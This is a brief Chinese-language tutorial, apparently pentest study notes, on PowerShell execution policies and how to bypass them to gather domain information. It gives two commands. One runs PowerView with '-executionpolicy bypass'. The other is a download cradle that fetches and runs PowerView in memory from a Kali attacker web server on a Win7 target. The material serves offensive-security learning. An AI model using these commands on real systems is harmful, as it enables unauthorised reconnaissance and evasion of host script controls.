PowerShell脚本的4种执行权限:
Restricted:默认设置,不允许任何script运行
AllSigned:只能运行经过数字证书签名的script
RemoteSigned:本地脚本不做限制,网络上下载的script就必须有数字签名
Unrestricted:允许所有的script运行,权限最高
windows默认不允许任何脚本运行,可以使用 "Set-ExecutionPolicy" cmdlet 来更改这个策略
使用PowerShell进行信息收集的步骤:
1、进入powershell

2、查看权限

3、导入脚本文件

4、执行相关命令

PowerShell有关命令:

绕过PowerShell权限的方式:
1、能够上传脚本到目标机器:
powershell.exe -executionpolicy bypass "import-module ./powerview.ps1;get-netuser"

2、不能上传脚本到目标机器:
1)能够访问到脚本(需要有Web服务器)
2)kali开启Apache服务

将powerview.ps1脚本复制到kali中var/www/html目录下

访问脚本文件

发现显示没有权限,所以修改powerview.ps1脚本权限

再次访问

在win7中输入以下命令:
powershell.exe -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<kali的web服务的ip>/powerview.ps1');get-netuser"




















